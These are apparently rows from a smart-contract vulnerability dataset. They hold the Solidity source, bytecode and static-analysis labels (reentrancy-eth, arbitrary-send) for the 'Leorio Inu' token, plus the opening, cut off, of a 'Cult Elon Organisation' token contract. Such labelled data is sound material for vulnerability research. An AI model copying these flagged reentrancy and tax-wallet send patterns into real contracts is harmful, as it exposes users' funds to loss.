returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } contract LINU is Context, IERC20, Ownable { using SafeMath for uint256; mapping (address => uint256) private _rOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 100000000000 * 10**6; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _burnFee; uint256 private _taxFee; address payable private _taxWallet; string private constant _name = "Leorio Inu"; string private constant _symbol = "LINU"; uint8 private constant _decimals = 6; IUniswapV2Router02 private _uniswap; address private _pair; bool private _canTrade; bool private _inSwap = false; bool private _swapEnabled = false; modifier lockTheSwap { _inSwap = true; _; _inSwap = false; } constructor () { _taxWallet = payable(_msgSender()); _burnFee = 1; _taxFee = INITIAL_TAX; _rOwned[address(this)] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_taxWallet] = true; emit Transfer(address(0x0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function tokenFromReflection(uint256 rAmount) private view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (from != owner() && to != owner()) { uint256 contractTokenBalance = balanceOf(address(this)); if (!_inSwap && from != _pair && _swapEnabled) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if(contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } _tokenTransfer(from,to,amount); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = _uniswap.WETH(); _approve(address(this), address(_uniswap), tokenAmount); _uniswap.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } modifier onlyTaxCollector() { require(_taxWallet == _msgSender() ); _; } function lowerTax(uint256 newTaxRate) public onlyTaxCollector{ require(newTaxRate<INITIAL_TAX); _taxFee=newTaxRate; } function sendETHToFee(uint256 amount) private { _taxWallet.transfer(amount); } function openTrading() external onlyOwner() { require(!_canTrade,"trading is already open"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); _uniswap = _uniswapV2Router; _approve(address(this), address(_uniswap), _tTotal); _pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH()); _uniswap.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp); _swapEnabled = true; _canTrade = true; IERC20(_pair).approve(address(_uniswapV2Router), type(uint).max); } function _tokenTransfer(address sender, address recipient, uint256 amount) private { _transferStandard(sender, recipient, amount); } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function manualSwap() external { require(_msgSender() == _taxWallet); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualSend() external { require(_msgSender() == _taxWallet); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _burnFee, _taxFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } }
0x6080604052600436106100ec5760003560e01c8063715018a61161008a578063a9059cbb11610059578063a9059cbb146102dd578063c9567bf91461031a578063dd62ed3e14610331578063f42938901461036e576100f3565b8063715018a6146102475780638da5cb5b1461025e57806395d89b41146102895780639e752b95146102b4576100f3565b806323b872dd116100c657806323b872dd1461018b578063313ce567146101c857806351bc3c85146101f357806370a082311461020a576100f3565b806306fdde03146100f8578063095ea7b31461012357806318160ddd14610160576100f3565b366100f357005b600080fd5b34801561010457600080fd5b5061010d610385565b60405161011a919061223b565b60405180910390f35b34801561012f57600080fd5b5061014a60048036038101906101459190611dfe565b6103c2565b6040516101579190612220565b60405180910390f35b34801561016c57600080fd5b506101756103e0565b604051610182919061239d565b60405180910390f35b34801561019757600080fd5b506101b260048036038101906101ad9190611dab565b6103f0565b6040516101bf9190612220565b60405180910390f35b3480156101d457600080fd5b506101dd6104c9565b6040516101ea9190612412565b60405180910390f35b3480156101ff57600080fd5b506102086104d2565b005b34801561021657600080fd5b50610231600480360381019061022c9190611d11565b61054c565b60405161023e919061239d565b60405180910390f35b34801561025357600080fd5b5061025c61059d565b005b34801561026a57600080fd5b506102736106f0565b6040516102809190612152565b60405180910390f35b34801561029557600080fd5b5061029e610719565b6040516102ab919061223b565b60405180910390f35b3480156102c057600080fd5b506102db60048036038101906102d69190611e6b565b610756565b005b3480156102e957600080fd5b5061030460048036038101906102ff9190611dfe565b6107ce565b6040516103119190612220565b60405180910390f35b34801561032657600080fd5b5061032f6107ec565b005b34801561033d57600080fd5b5061035860048036038101906103539190611d6b565b610cfb565b604051610365919061239d565b60405180910390f35b34801561037a57600080fd5b50610383610d82565b005b60606040518060400160405280600a81526020017f4c656f72696f20496e7500000000000000000000000000000000000000000000815250905090565b60006103d66103cf610df4565b8484610dfc565b6001905092915050565b600067016345785d8a0000905090565b60006103fd848484610fc7565b6104be84610409610df4565b6104b9856040518060600160405280602881526020016129ed60289139600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061046f610df4565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461122f9092919063ffffffff16565b610dfc565b600190509392505050565b60006006905090565b600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610513610df4565b73ffffffffffffffffffffffffffffffffffffffff161461053357600080fd5b600061053e3061054c565b905061054981611293565b50565b6000610596600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461151b565b9050919050565b6105a5610df4565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610632576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610629906122fd565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600481526020017f4c494e5500000000000000000000000000000000000000000000000000000000815250905090565b61075e610df4565b73ffffffffffffffffffffffffffffffffffffffff16600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146107b757600080fd5b600981106107c457600080fd5b8060088190555050565b60006107e26107db610df4565b8484610fc7565b6001905092915050565b6107f4610df4565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610881576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610878906122fd565b60405180910390fd5b600b60149054906101000a900460ff16156108d1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108c89061237d565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080600a60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555061096030600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1667016345785d8a0000610dfc565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b1580156109a657600080fd5b505afa1580156109ba573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109de9190611d3e565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610a4057600080fd5b505afa158015610a54573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610a789190611d3e565b6040518363ffffffff1660e01b8152600401610a9592919061216d565b602060405180830381600087803b158015610aaf57600080fd5b505af1158015610ac3573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610ae79190611d3e565b600b60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730610b703061054c565b600080610b7b6106f0565b426040518863ffffffff1660e01b8152600401610b9d969594939291906121bf565b6060604051808303818588803b158015610bb657600080fd5b505af1158015610bca573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610bef9190611e98565b5050506001600b60166101000a81548160ff0219169083151502179055506001600b60146101000a81548160ff021916908315150217905550600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401610ca5929190612196565b602060405180830381600087803b158015610cbf57600080fd5b505af1158015610cd3573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610cf79190611e3e565b5050565b6000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610dc3610df4565b73ffffffffffffffffffffffffffffffffffffffff1614610de357600080fd5b6000479050610df181611589565b50565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610e6c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e639061235d565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610edc576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ed39061229d565b60405180910390fd5b80600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610fba919061239d565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611037576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161102e9061233d565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156110a7576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161109e9061225d565b60405180910390fd5b600081116110ea576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110e19061231d565b60405180910390fd5b6110f26106f0565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561116057506111306106f0565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b1561121f5760006111703061054c565b9050600b60159054906101000a900460ff161580156111dd5750600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b80156111f55750600b60169054906101000a900460ff165b1561121d5761120381611293565b6000479050600081111561121b5761121a47611589565b5b505b505b61122a8383836115f5565b505050565b6000838311158290611277576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161126e919061223b565b60405180910390fd5b50600083856112869190612563565b9050809150509392505050565b6001600b60156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff8111156112cb576112ca6126be565b5b6040519080825280602002602001820160405280156112f95781602001602082028036833780820191505090505b50905030816000815181106113115761131061268f565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156113b357600080fd5b505afa1580156113c7573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906113eb9190611d3e565b816001815181106113ff576113fe61268f565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061146630600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684610dfc565b600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b81526004016114ca9594939291906123b8565b600060405180830381600087803b1580156114e457600080fd5b505af11580156114f8573d6000803e3d6000fd5b50505050506000600b60156101000a81548160ff02191690831515021790555050565b6000600554821115611562576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115599061227d565b60405180910390fd5b600061156c611605565b9050611581818461163090919063ffffffff16565b915050919050565b600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f193505050501580156115f1573d6000803e3d6000fd5b5050565b61160083838361167a565b505050565b6000806000611612611845565b91509150611629818361163090919063ffffffff16565b9250505090565b600061167283836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506118a4565b905092915050565b60008060008060008061168c87611907565b9550955095509550955095506116ea86600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461196f90919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061177f85600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546119b990919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506117cb81611a17565b6117d58483611ad4565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef85604051611832919061239d565b60405180910390a3505050505050505050565b60008060006005549050600067016345785d8a0000905061187967016345785d8a000060055461163090919063ffffffff16565b8210156118975760055467016345785d8a00009350935050506118a0565b81819350935050505b9091565b600080831182906118eb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016118e2919061223b565b60405180910390fd5b50600083856118fa91906124d8565b9050809150509392505050565b60008060008060008060008060006119248a600754600854611b0e565b9250925092506000611934611605565b905060008060006119478e878787611ba4565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b60006119b183836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525061122f565b905092915050565b60008082846119c89190612482565b905083811015611a0d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a04906122bd565b60405180910390fd5b8091505092915050565b6000611a21611605565b90506000611a388284611c2d90919063ffffffff16565b9050611a8c81600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546119b990919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b611ae98260055461196f90919063ffffffff16565b600581905550611b04816006546119b990919063ffffffff16565b6006819055505050565b600080600080611b3a6064611b2c888a611c2d90919063ffffffff16565b61163090919063ffffffff16565b90506000611b646064611b56888b611c2d90919063ffffffff16565b61163090919063ffffffff16565b90506000611b8d82611b7f858c61196f90919063ffffffff16565b61196f90919063ffffffff16565b905080838395509550955050505093509350939050565b600080600080611bbd8589611c2d90919063ffffffff16565b90506000611bd48689611c2d90919063ffffffff16565b90506000611beb8789611c2d90919063ffffffff16565b90506000611c1482611c06858761196f90919063ffffffff16565b61196f90919063ffffffff16565b9050838184965096509650505050509450945094915050565b600080831415611c405760009050611ca2565b60008284611c4e9190612509565b9050828482611c5d91906124d8565b14611c9d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c94906122dd565b60405180910390fd5b809150505b92915050565b600081359050611cb7816129a7565b92915050565b600081519050611ccc816129a7565b92915050565b600081519050611ce1816129be565b92915050565b600081359050611cf6816129d5565b92915050565b600081519050611d0b816129d5565b92915050565b600060208284031215611d2757611d266126ed565b5b6000611d3584828501611ca8565b91505092915050565b600060208284031215611d5457611d536126ed565b5b6000611d6284828501611cbd565b91505092915050565b60008060408385031215611d8257611d816126ed565b5b6000611d9085828601611ca8565b9250506020611da185828601611ca8565b9150509250929050565b600080600060608486031215611dc457611dc36126ed565b5b6000611dd286828701611ca8565b9350506020611de386828701611ca8565b9250506040611df486828701611ce7565b9150509250925092565b60008060408385031215611e1557611e146126ed565b5b6000611e2385828601611ca8565b9250506020611e3485828601611ce7565b9150509250929050565b600060208284031215611e5457611e536126ed565b5b6000611e6284828501611cd2565b91505092915050565b600060208284031215611e8157611e806126ed565b5b6000611e8f84828501611ce7565b91505092915050565b600080600060608486031215611eb157611eb06126ed565b5b6000611ebf86828701611cfc565b9350506020611ed086828701611cfc565b9250506040611ee186828701611cfc565b9150509250925092565b6000611ef78383611f03565b60208301905092915050565b611f0c81612597565b82525050565b611f1b81612597565b82525050565b6000611f2c8261243d565b611f368185612460565b9350611f418361242d565b8060005b83811015611f72578151611f598882611eeb565b9750611f6483612453565b925050600181019050611f45565b5085935050505092915050565b611f88816125a9565b82525050565b611f97816125ec565b82525050565b6000611fa882612448565b611fb28185612471565b9350611fc28185602086016125fe565b611fcb816126f2565b840191505092915050565b6000611fe3602383612471565b9150611fee82612703565b604082019050919050565b6000612006602a83612471565b915061201182612752565b604082019050919050565b6000612029602283612471565b9150612034826127a1565b604082019050919050565b600061204c601b83612471565b9150612057826127f0565b602082019050919050565b600061206f602183612471565b915061207a82612819565b604082019050919050565b6000612092602083612471565b915061209d82612868565b602082019050919050565b60006120b5602983612471565b91506120c082612891565b604082019050919050565b60006120d8602583612471565b91506120e3826128e0565b604082019050919050565b60006120fb602483612471565b91506121068261292f565b604082019050919050565b600061211e601783612471565b91506121298261297e565b602082019050919050565b61213d816125d5565b82525050565b61214c816125df565b82525050565b60006020820190506121676000830184611f12565b92915050565b60006040820190506121826000830185611f12565b61218f6020830184611f12565b9392505050565b60006040820190506121ab6000830185611f12565b6121b86020830184612134565b9392505050565b600060c0820190506121d46000830189611f12565b6121e16020830188612134565b6121ee6040830187611f8e565b6121fb6060830186611f8e565b6122086080830185611f12565b61221560a0830184612134565b979650505050505050565b60006020820190506122356000830184611f7f565b92915050565b600060208201905081810360008301526122558184611f9d565b905092915050565b6000602082019050818103600083015261227681611fd6565b9050919050565b6000602082019050818103600083015261229681611ff9565b9050919050565b600060208201905081810360008301526122b68161201c565b9050919050565b600060208201905081810360008301526122d68161203f565b9050919050565b600060208201905081810360008301526122f681612062565b9050919050565b6000602082019050818103600083015261231681612085565b9050919050565b60006020820190508181036000830152612336816120a8565b9050919050565b60006020820190508181036000830152612356816120cb565b9050919050565b60006020820190508181036000830152612376816120ee565b9050919050565b6000602082019050818103600083015261239681612111565b9050919050565b60006020820190506123b26000830184612134565b92915050565b600060a0820190506123cd6000830188612134565b6123da6020830187611f8e565b81810360408301526123ec8186611f21565b90506123fb6060830185611f12565b6124086080830184612134565b9695505050505050565b60006020820190506124276000830184612143565b92915050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b600061248d826125d5565b9150612498836125d5565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156124cd576124cc612631565b5b828201905092915050565b60006124e3826125d5565b91506124ee836125d5565b9250826124fe576124fd612660565b5b828204905092915050565b6000612514826125d5565b915061251f836125d5565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161561255857612557612631565b5b828202905092915050565b600061256e826125d5565b9150612579836125d5565b92508282101561258c5761258b612631565b5b828203905092915050565b60006125a2826125b5565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60006125f7826125d5565b9050919050565b60005b8381101561261c578082015181840152602081019050612601565b8381111561262b576000848401525b50505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b600080fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b6129b081612597565b81146129bb57600080fd5b50565b6129c7816125a9565b81146129d257600080fd5b50565b6129de816125d5565b81146129e957600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a264697066735822122051ff10eb4039c84a8b8013e08f5df8a19f08c7e39f0cf5e8a58e136288a15a5864736f6c63430008070033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
8,870
0xda829df1e29d80f7354029c383ce5542ae5ec352
/** *SPDX-License-Identifier: Unlicensed *Cult Elon Organisation *https://t.me/CultElonOrganisation *https://cultelon.org */ pragma solidity ^0.8.4; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval( address indexed owner, address indexed spender, uint256 value ); } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns ( uint256 amountToken, uint256 amountETH, uint256 liquidity ); } contract CEO is Context, IERC20, Ownable { using SafeMath for uint256; string private constant _name = "Cult Elon Organisation"; string private constant _symbol = "CEO"; uint8 private constant _decimals = 9; mapping(address => uint256) private _rOwned; mapping(address => uint256) private _tOwned; mapping (address => uint256) private _buyMap; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => bool) private _isExcludedFromFee; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1e11 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; mapping(address => bool) private _isSniper; uint256 public launchTime; uint256 private _redisFeeOnBuy = 0; uint256 private _taxFeeOnBuy = 12; uint256 private _redisFeeOnSell = 0; uint256 private _taxFeeOnSell = 12; uint256 private _redisFee = _redisFeeOnSell; uint256 private _taxFee = _taxFeeOnSell; uint256 private 